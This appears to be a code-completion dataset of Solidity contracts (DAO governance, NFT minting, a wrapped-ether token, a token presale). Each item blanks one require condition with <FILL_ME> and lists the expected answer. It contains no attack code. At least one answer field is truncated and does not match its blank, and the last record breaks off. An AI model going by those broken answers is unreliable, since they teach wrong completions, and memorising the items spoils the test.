bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint256 id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(address timelock_, address velo_) public {
}
function propose(
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
)
public
returns (uint256)
{
require(<FILL_ME>)
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint256 startBlock = add256(block.number, votingDelay());
uint256 endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(
newProposal.id,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description
);
return newProposal.id;
}
function queue(uint256 proposalId)
public
{
}
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
internal
{
}
function execute(uint256 proposalId)
public
payable
{
}
function cancel(uint256 proposalId)
public
{
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
}
function getReceipt(uint256 proposalId, address voter)
public
view
returns (Receipt memory)
{
}
function state(uint256 proposalId)
public
view
returns (ProposalState)
{
}
function castVote(uint256 proposalId, bool support)
public
{
}
function castVoteBySig(
uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s
)
public
{
}
function _castVote(
address voter,
uint256 proposalId,
bool support
)
internal
{
}
function __acceptAdmin()
public
{
}
function __abdicate()
public
{
}
function __queueSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
)
public
{
}
function __executeSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
)
public
{
}
function add256(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub256(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getChainId() internal pure returns (uint256) {
}
}
interface TimelockInterface {
function delay() external view returns (uint256);
function GRACE_PERIOD() external view returns (uint256);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external returns (bytes32);
function cancelTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external;
function executeTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external payable returns (bytes memory);
}
interface VELOInterface {
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256);
function initSupply() external view returns (uint256);
function _acceptGov() external;
}
| velo.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold(),"GovernorAlpha::propose: proposer votes below proposal threshold" | 38,642 | velo.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold() |
"DODOFeeImpl: EXCEED_YOUR_QUOTA" | interface ICrowdPooling {
function _QUOTE_RESERVE_() external view returns (uint256);
function getShares(address user) external view returns (uint256);
}
interface IFee {
function getUserFee(address user) external view returns (uint256);
}
interface IQuota {
function getUserQuota(address user) external view returns (int);
}
contract FeeRateImpl is InitializableOwnable {
using SafeMath for uint256;
struct CPPoolInfo {
address quoteToken;
int globalQuota;
address feeAddr;
address quotaAddr;
}
mapping(address => CPPoolInfo) cpPools;
function addCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
}
function setCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
}
function getFeeRate(address pool, address user) external view returns (uint256) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
address quoteToken = cpPoolInfo.quoteToken;
if(quoteToken == address(0)) {
return 0;
}else {
uint256 userInput = IERC20(quoteToken).balanceOf(pool).sub(ICrowdPooling(pool)._QUOTE_RESERVE_());
uint256 userStake = ICrowdPooling(pool).getShares(user);
address feeAddr = cpPoolInfo.feeAddr;
address quotaAddr = cpPoolInfo.quotaAddr;
int curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
require(<FILL_ME>)
if(feeAddr == address(0)) {
return 0;
} else {
return IFee(feeAddr).getUserFee(user);
}
}
}
function getCPInfoByUser(address pool, address user) external view returns (bool isHaveCap, int curQuota, uint256 userFee) {
}
}
| curQuota==-1||(curQuota!=-1&&int(userInput.add(userStake))<=curQuota),"DODOFeeImpl: EXCEED_YOUR_QUOTA" | 38,733 | curQuota==-1||(curQuota!=-1&&int(userInput.add(userStake))<=curQuota) |
"256ART not owned" | // SPDX-License-Identifier: MIT
/*
The last window is a series around the sentiment of feeling lost with just one window out.
It was created using data from the 256ART genesis series.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@& -** -- & &&%#/*,. @- ** -*** **-* --- *-* %# ///(/&@
@@& @&&% #/ *#((( ##(/ &@
@@& * %(/..,, #***** &@
@@& (/ /,( (////* &@
@@& %%% #/ (// &@
@@&@@@%%% &&@ ###**** &@
@@& ....%(( %/ &@
@@& ... &%(( * ... &@
@@& ...@@@@@@@@@@@@@@@@@@@@@@@@@***, @@@@@@@@@... &@
@@& ...@@@@@@@@@@@@@@@@@@@@@@@@@@@*.@@@@@@@@@@... (((#/ &%%&@
@@& ...@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@... &#### %%%&@
@@& ...@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@... &### ,,,&@
@@&/( ...@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@((* ///,,&@
@@&*** ...@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@**,@@@@%(.. ///&*&@
@@&,//(* ...@@@@@@@&((*@@@@@@@@@@@@@@@@@@@@@%@@@@@@... (((#@@@@ (/(&@
@@&/// ...@@@@@@@@@@@@@@@@@@@/*@@@@@@@@@@@@@@@@@@... ((((@@%@ /&@
@@&// @@##%% ...@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@... ((( #@(@ *&@
@@& #( %@@ #% ...@@@@@@@@@@@@@@@@@@@@@@@@@##/@@@@@@@@(@@... /&@
@@& #%%% &(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@... &@
@@& %%%% &&#,@@@@@@@@@/,***@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& #////% %&*#@@@@@@/(****@@@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& %##(/ ...@@@@&%###//@@@@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& #%%/( ...@@@@##@#///@@@@@(,,,*@@@@@@@@@%@@@@@@@@... &((## ., &@
@@& ###(/ @@&.. /(/** #*** ... &&##. ,,,,,&@
@@& #% @(& %% %% ( / ### ####&(#*% ,,.,,&@
@@& ## @@@ @@%%&& ///, &&.%%@@/@%%%% ,./&@
@@& %# @& \\\, %&@%%% (&@
@@& %#// (, &@
@@& ///// ##%%/) ..%,( /#@@@@%###/, &@
@@& ----- *-*-*- **--- ***** -**** * - **** &@
@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*/
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract THELASTWINDOW is ERC721, IERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 1024;
uint256 public maxMintAmount = 16;
uint256 public price = 25600000000000000;
bool public saleIsActive = false;
address public the256ArtAddress;
mapping(uint256 => bool) public freeMints;
string public base64script;
string public base64packages;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _base64script,
string memory _base64packages,
uint256[] memory _freeMints,
address _genesisContract
) ERC721(_name, _symbol) {
}
function require256ArtOwner(uint256 a256ArtId) private view {
ERC721 theAddress = ERC721(the256ArtAddress);
require(<FILL_ME>)
}
Counters.Counter private _counter;
function getMintCount() public view returns (uint256) {
}
function mint(uint256[] calldata the256ArtIds) public payable {
}
function remainingSupply() public view returns (uint256) {
}
function tokenSupply() public view returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function addFreeMints(uint256[] memory _ids) public onlyOwner {
}
function removeFreeMints(uint256[] memory _ids) public onlyOwner {
}
function isFreeMint(uint256 _id) public view returns (bool) {
}
function withdraw() public onlyOwner {
}
function setThe256ArtSmartContractAddress(address _address)
public
onlyOwner
{
}
function setSaleIsActive(bool isActive) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setScript(string memory _base64script) public onlyOwner {
}
function setPackages(string memory _base64packages) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function royaltyInfo(uint256, uint256 salePrice)
external
pure
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| theAddress.ownerOf(a256ArtId)==_msgSender(),"256ART not owned" | 38,749 | theAddress.ownerOf(a256ArtId)==_msgSender() |
"Exceeds max supply" | // SPDX-License-Identifier: MIT
/*
The last window is a series around the sentiment of feeling lost with just one window out.
It was created using data from the 256ART genesis series.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@& -** -- & &&%#/*,. @- ** -*** **-* --- *-* %# ///(/&@
@@& @&&% #/ *#((( ##(/ &@
@@& * %(/..,, #***** &@
@@& (/ /,( (////* &@
@@& %%% #/ (// &@
@@&@@@%%% &&@ ###**** &@
@@& ....%(( %/ &@
@@& ... &%(( * ... &@
@@& ...@@@@@@@@@@@@@@@@@@@@@@@@@***, @@@@@@@@@... &@
@@& ...@@@@@@@@@@@@@@@@@@@@@@@@@@@*.@@@@@@@@@@... (((#/ &%%&@
@@& ...@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@... &#### %%%&@
@@& ...@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@... &### ,,,&@
@@&/( ...@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@((* ///,,&@
@@&*** ...@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@**,@@@@%(.. ///&*&@
@@&,//(* ...@@@@@@@&((*@@@@@@@@@@@@@@@@@@@@@%@@@@@@... (((#@@@@ (/(&@
@@&/// ...@@@@@@@@@@@@@@@@@@@/*@@@@@@@@@@@@@@@@@@... ((((@@%@ /&@
@@&// @@##%% ...@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@... ((( #@(@ *&@
@@& #( %@@ #% ...@@@@@@@@@@@@@@@@@@@@@@@@@##/@@@@@@@@(@@... /&@
@@& #%%% &(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@... &@
@@& %%%% &&#,@@@@@@@@@/,***@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& #////% %&*#@@@@@@/(****@@@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& %##(/ ...@@@@&%###//@@@@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& #%%/( ...@@@@##@#///@@@@@(,,,*@@@@@@@@@%@@@@@@@@... &((## ., &@
@@& ###(/ @@&.. /(/** #*** ... &&##. ,,,,,&@
@@& #% @(& %% %% ( / ### ####&(#*% ,,.,,&@
@@& ## @@@ @@%%&& ///, &&.%%@@/@%%%% ,./&@
@@& %# @& \\\, %&@%%% (&@
@@& %#// (, &@
@@& ///// ##%%/) ..%,( /#@@@@%###/, &@
@@& ----- *-*-*- **--- ***** -**** * - **** &@
@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*/
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract THELASTWINDOW is ERC721, IERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 1024;
uint256 public maxMintAmount = 16;
uint256 public price = 25600000000000000;
bool public saleIsActive = false;
address public the256ArtAddress;
mapping(uint256 => bool) public freeMints;
string public base64script;
string public base64packages;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _base64script,
string memory _base64packages,
uint256[] memory _freeMints,
address _genesisContract
) ERC721(_name, _symbol) {
}
function require256ArtOwner(uint256 a256ArtId) private view {
}
Counters.Counter private _counter;
function getMintCount() public view returns (uint256) {
}
function mint(uint256[] calldata the256ArtIds) public payable {
uint256 count = the256ArtIds.length;
require(saleIsActive, "Sale not active");
require(count > 0, "Must mint at least one");
require(count <= maxMintAmount, "Multimint max is 16");
require(<FILL_ME>)
uint256 finalPrice = 0;
for (uint256 i = 0; i < count; i++) {
require256ArtOwner(the256ArtIds[i]);
if (!isFreeMint(the256ArtIds[i])) {
finalPrice += price;
}
}
require(msg.value >= finalPrice, "Insufficient payment");
for (uint256 i = 0; i < count; i++) {
_safeMint(_msgSender(), the256ArtIds[i]);
_counter.increment();
}
}
function remainingSupply() public view returns (uint256) {
}
function tokenSupply() public view returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function addFreeMints(uint256[] memory _ids) public onlyOwner {
}
function removeFreeMints(uint256[] memory _ids) public onlyOwner {
}
function isFreeMint(uint256 _id) public view returns (bool) {
}
function withdraw() public onlyOwner {
}
function setThe256ArtSmartContractAddress(address _address)
public
onlyOwner
{
}
function setSaleIsActive(bool isActive) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setScript(string memory _base64script) public onlyOwner {
}
function setPackages(string memory _base64packages) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function royaltyInfo(uint256, uint256 salePrice)
external
pure
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| _counter.current()+count-1<maxSupply,"Exceeds max supply" | 38,749 | _counter.current()+count-1<maxSupply |
null | // SPDX-License-Identifier: MIT
/*
The last window is a series around the sentiment of feeling lost with just one window out.
It was created using data from the 256ART genesis series.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@& -** -- & &&%#/*,. @- ** -*** **-* --- *-* %# ///(/&@
@@& @&&% #/ *#((( ##(/ &@
@@& * %(/..,, #***** &@
@@& (/ /,( (////* &@
@@& %%% #/ (// &@
@@&@@@%%% &&@ ###**** &@
@@& ....%(( %/ &@
@@& ... &%(( * ... &@
@@& ...@@@@@@@@@@@@@@@@@@@@@@@@@***, @@@@@@@@@... &@
@@& ...@@@@@@@@@@@@@@@@@@@@@@@@@@@*.@@@@@@@@@@... (((#/ &%%&@
@@& ...@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@... &#### %%%&@
@@& ...@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@... &### ,,,&@
@@&/( ...@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@((* ///,,&@
@@&*** ...@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@**,@@@@%(.. ///&*&@
@@&,//(* ...@@@@@@@&((*@@@@@@@@@@@@@@@@@@@@@%@@@@@@... (((#@@@@ (/(&@
@@&/// ...@@@@@@@@@@@@@@@@@@@/*@@@@@@@@@@@@@@@@@@... ((((@@%@ /&@
@@&// @@##%% ...@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@... ((( #@(@ *&@
@@& #( %@@ #% ...@@@@@@@@@@@@@@@@@@@@@@@@@##/@@@@@@@@(@@... /&@
@@& #%%% &(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@... &@
@@& %%%% &&#,@@@@@@@@@/,***@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& #////% %&*#@@@@@@/(****@@@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& %##(/ ...@@@@&%###//@@@@@@@@@@@@@@@@@@@@@@@@@@@@... &@
@@& #%%/( ...@@@@##@#///@@@@@(,,,*@@@@@@@@@%@@@@@@@@... &((## ., &@
@@& ###(/ @@&.. /(/** #*** ... &&##. ,,,,,&@
@@& #% @(& %% %% ( / ### ####&(#*% ,,.,,&@
@@& ## @@@ @@%%&& ///, &&.%%@@/@%%%% ,./&@
@@& %# @& \\\, %&@%%% (&@
@@& %#// (, &@
@@& ///// ##%%/) ..%,( /#@@@@%###/, &@
@@& ----- *-*-*- **--- ***** -**** * - **** &@
@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*/
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract THELASTWINDOW is ERC721, IERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 1024;
uint256 public maxMintAmount = 16;
uint256 public price = 25600000000000000;
bool public saleIsActive = false;
address public the256ArtAddress;
mapping(uint256 => bool) public freeMints;
string public base64script;
string public base64packages;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _base64script,
string memory _base64packages,
uint256[] memory _freeMints,
address _genesisContract
) ERC721(_name, _symbol) {
}
function require256ArtOwner(uint256 a256ArtId) private view {
}
Counters.Counter private _counter;
function getMintCount() public view returns (uint256) {
}
function mint(uint256[] calldata the256ArtIds) public payable {
uint256 count = the256ArtIds.length;
require(saleIsActive, "Sale not active");
require(count > 0, "Must mint at least one");
require(count <= maxMintAmount, "Multimint max is 16");
require(
_counter.current() + count - 1 < maxSupply,
"Exceeds max supply"
);
uint256 finalPrice = 0;
for (uint256 i = 0; i < count; i++) {
require(<FILL_ME>)
if (!isFreeMint(the256ArtIds[i])) {
finalPrice += price;
}
}
require(msg.value >= finalPrice, "Insufficient payment");
for (uint256 i = 0; i < count; i++) {
_safeMint(_msgSender(), the256ArtIds[i]);
_counter.increment();
}
}
function remainingSupply() public view returns (uint256) {
}
function tokenSupply() public view returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function addFreeMints(uint256[] memory _ids) public onlyOwner {
}
function removeFreeMints(uint256[] memory _ids) public onlyOwner {
}
function isFreeMint(uint256 _id) public view returns (bool) {
}
function withdraw() public onlyOwner {
}
function setThe256ArtSmartContractAddress(address _address)
public
onlyOwner
{
}
function setSaleIsActive(bool isActive) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setScript(string memory _base64script) public onlyOwner {
}
function setPackages(string memory _base64packages) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function royaltyInfo(uint256, uint256 salePrice)
external
pure
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| 56ArtOwner(the256ArtIds[i] | 38,749 | the256ArtIds[i] |
"Caller is not xeth locker" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.6.6;
// Copyright (C) 2015, 2016, 2017 Dapphub / adapted by udev 2020
contract XETH is IXEth, AccessControlUpgradeSafe {
string public override name;
string public override symbol;
uint8 public override decimals;
uint256 public override totalSupply;
bytes32 public constant XETH_LOCKER_ROLE = keccak256("XETH_LOCKER_ROLE");
bytes32 public immutable PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public override balanceOf;
mapping(address => uint256) public override nonces;
mapping(address => mapping(address => uint256)) public override allowance;
constructor() public {
}
receive() external payable {
}
function deposit() public payable override {
}
function grantXethLockerRole(address account) external {
}
function revokeXethLockerRole(address account) external {
}
function xlockerMint(uint256 wad, address dst) external override {
require(<FILL_ME>)
balanceOf[dst] += wad;
totalSupply += wad;
emit Transfer(address(0), dst, wad);
}
function withdraw(uint256 wad) external override {
}
function _approve(
address src,
address guy,
uint256 wad
) internal {
}
function approve(address guy, uint256 wad)
external
override
returns (bool)
{
}
function transfer(address dst, uint256 wad)
external
override
returns (bool)
{
}
function transferFrom(
address src,
address dst,
uint256 wad
) public override returns (bool) {
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
}
}
| hasRole(XETH_LOCKER_ROLE,msg.sender),"Caller is not xeth locker" | 38,819 | hasRole(XETH_LOCKER_ROLE,msg.sender) |
"weth/xeth pair already initialized" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.6.6;
contract XethLiqManager is Initializable, OwnableUpgradeSafe {
IXEth private _xeth;
IUniswapV2Router02 private _router;
IUniswapV2Pair private _pair;
IUniswapV2Factory private _factory;
uint256 private _maxBP;
uint256 private _maxLiq;
bool private isPairInitialized;
using SafeMath for uint256;
function initialize(
IXEth xeth_,
IUniswapV2Router02 router_,
IUniswapV2Factory factory_,
uint256 maxBP_,
uint256 maxLiq_
) public initializer {
}
receive() external payable {}
function setMaxBP(uint256 maxBP_) external onlyOwner {
}
function setMaxLiq(uint256 maxLiq_) external onlyOwner {
}
function initializePair() external onlyOwner {
require(<FILL_ME>)
isPairInitialized = true;
uint256 wadXeth = address(_xeth).balance.mul(_maxBP) / 10000;
_xeth.xlockerMint(wadXeth.mul(2), address(this));
_xeth.withdraw(wadXeth);
_xeth.approve(address(_router), uint256(-1));
_router.addLiquidityETH{value: wadXeth}(
address(_xeth),
wadXeth,
wadXeth,
wadXeth,
address(this),
now
);
_pair = IUniswapV2Pair(
_factory.getPair(address(_xeth), _router.WETH())
);
}
function updatePair() external onlyOwner {
}
function rebalance() public onlyOwner {
}
}
| !isPairInitialized,"weth/xeth pair already initialized" | 38,823 | !isPairInitialized |
'PinkslipSale: Min 3 ETH' | pragma solidity 0.6.5;
contract PinkslipSale is ReentrancyGuard, Ownable {
using SafeMath for uint256;
using Address for address payable;
mapping(address => uint256) participants;
uint256 public buyPrice;
uint256 public minimalGoal;
uint256 public hardCap;
IERC20 crowdsaleToken;
uint256 constant tokenDecimals = 18;
event SellToken(address recepient, uint tokensSold, uint value);
address payable fundingAddress;
uint256 public totalCollected;
uint256 public totalSold;
uint256 public start;
bool stopped = false;
constructor(
IERC20 _token,
address payable _fundingAddress
) public {
}
function getToken()
external
view
returns(address)
{
}
receive() external payable {
require(msg.value >= 100000000000000000, 'PinkslipSale: Min 0.1 ETH');
require(<FILL_ME>)
sell(msg.sender, msg.value);
}
function sell(address payable _recepient, uint256 _value) internal
nonReentrant
whenCrowdsaleAlive()
{
}
function totalTokensNeeded() external view returns (uint256) {
}
function stop()
external
onlyOwner()
{
}
function unstop()
external
onlyOwner()
{
}
function returnUnsold()
external
nonReentrant
onlyOwner()
{
}
function getTime()
public
view
returns(uint256)
{
}
function isActive()
public
view
returns(bool)
{
}
function isSuccessful()
external
view
returns(bool)
{
}
modifier whenCrowdsaleAlive() {
}
}
| participants[msg.sender]<=3000000000000000000,'PinkslipSale: Min 3 ETH' | 38,869 | participants[msg.sender]<=3000000000000000000 |
'PinkslipSale: Error transfering' | pragma solidity 0.6.5;
contract PinkslipSale is ReentrancyGuard, Ownable {
using SafeMath for uint256;
using Address for address payable;
mapping(address => uint256) participants;
uint256 public buyPrice;
uint256 public minimalGoal;
uint256 public hardCap;
IERC20 crowdsaleToken;
uint256 constant tokenDecimals = 18;
event SellToken(address recepient, uint tokensSold, uint value);
address payable fundingAddress;
uint256 public totalCollected;
uint256 public totalSold;
uint256 public start;
bool stopped = false;
constructor(
IERC20 _token,
address payable _fundingAddress
) public {
}
function getToken()
external
view
returns(address)
{
}
receive() external payable {
}
function sell(address payable _recepient, uint256 _value) internal
nonReentrant
whenCrowdsaleAlive()
{
uint256 newTotalCollected = totalCollected.add(_value);
if (hardCap < newTotalCollected) {
// Refund anything above the hard cap
uint256 refund = newTotalCollected.sub(hardCap);
uint256 diff = _value.sub(refund);
_recepient.sendValue(refund);
_value = diff;
newTotalCollected = totalCollected.add(_value);
}
// Token amount per price
uint256 tokensSold = (_value).mul(10 ** tokenDecimals).div(buyPrice);
// Send user tokens
require(<FILL_ME>)
emit SellToken(_recepient, tokensSold, _value);
// Save participants
participants[_recepient] = participants[_recepient].add(_value);
fundingAddress.sendValue(_value);
// Update total BNB
totalCollected = totalCollected.add(_value);
// Update tokens sold
totalSold = totalSold.add(tokensSold);
}
function totalTokensNeeded() external view returns (uint256) {
}
function stop()
external
onlyOwner()
{
}
function unstop()
external
onlyOwner()
{
}
function returnUnsold()
external
nonReentrant
onlyOwner()
{
}
function getTime()
public
view
returns(uint256)
{
}
function isActive()
public
view
returns(bool)
{
}
function isSuccessful()
external
view
returns(bool)
{
}
modifier whenCrowdsaleAlive() {
}
}
| crowdsaleToken.transfer(_recepient,tokensSold),'PinkslipSale: Error transfering' | 38,869 | crowdsaleToken.transfer(_recepient,tokensSold) |
null | pragma solidity 0.6.5;
contract PinkslipSale is ReentrancyGuard, Ownable {
using SafeMath for uint256;
using Address for address payable;
mapping(address => uint256) participants;
uint256 public buyPrice;
uint256 public minimalGoal;
uint256 public hardCap;
IERC20 crowdsaleToken;
uint256 constant tokenDecimals = 18;
event SellToken(address recepient, uint tokensSold, uint value);
address payable fundingAddress;
uint256 public totalCollected;
uint256 public totalSold;
uint256 public start;
bool stopped = false;
constructor(
IERC20 _token,
address payable _fundingAddress
) public {
}
function getToken()
external
view
returns(address)
{
}
receive() external payable {
}
function sell(address payable _recepient, uint256 _value) internal
nonReentrant
whenCrowdsaleAlive()
{
}
function totalTokensNeeded() external view returns (uint256) {
}
function stop()
external
onlyOwner()
{
}
function unstop()
external
onlyOwner()
{
}
function returnUnsold()
external
nonReentrant
onlyOwner()
{
}
function getTime()
public
view
returns(uint256)
{
}
function isActive()
public
view
returns(bool)
{
}
function isSuccessful()
external
view
returns(bool)
{
}
modifier whenCrowdsaleAlive() {
require(<FILL_ME>)
_;
}
}
| isActive() | 38,869 | isActive() |
'genration is sealed' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/proxy/utils/Initializable.sol';
import '@openzeppelin/contracts/proxy/Clones.sol';
import './NamelessMetadataURIV1.sol';
import './NamelessDataV1.sol';
import './INamelessTemplateLibrary.sol';
import './INamelessToken.sol';
import './INamelessTokenData.sol';
contract NamelessTokenData is INamelessTokenData, AccessControl, Initializable {
bytes32 public constant INFRA_ROLE = keccak256('INFRA_ROLE');
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
address private _templateLibrary;
string private _uriBase;
address public clonableTokenAddress;
address public frontendAddress;
address payable public royaltyAddress;
uint256 public royaltyBps;
uint256 public maxGenerationSize;
function initialize (
address templateLibrary_,
address clonableTokenAddress_,
address initialAdmin,
uint256 maxGenerationSize_
) public override initializer {
}
constructor(
address templateLibrary_,
address clonableTokenAddress_,
uint256 maxGenerationSize_
) {
}
